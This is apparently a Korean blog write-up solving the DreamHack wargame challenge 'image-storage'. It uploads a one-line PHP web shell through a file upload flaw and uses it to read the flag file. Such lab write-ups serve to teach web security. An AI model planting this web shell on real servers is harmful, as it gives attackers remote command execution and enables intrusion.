[DreamHack 워게임] image-storage

오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 image-storage를 함께 풀어볼 예정이다.

 

image-storage

---

## 문제 설명:

문제 설명

문제 정보를 살펴보면 파일 업로드 취약점을 활용하여 flag를 획득하면 되는 것으로 보인다.

## 문제 풀이

사이트에 접속해보니 다음과 화면이 보인다.

main

Upload 버튼을 클릭하면 다음과 같이 파일을 업로드할 수 있는 화면이 출력된다.

Upload

간단한 웹쉘을 작성하여 업로드해보겠다.

<?php
	system($_GET["cmd"]);
?>

webshell upload

 

List를 확인해보면 우리가 올린 webshell이 존재한 것을 알 수 있다.

List

webshell을 호출하여 /flag.txt의 내용을 읽으면 다음과 같이 성공적으로 flag값이 출력된 것을 확인할 수 있다.

성공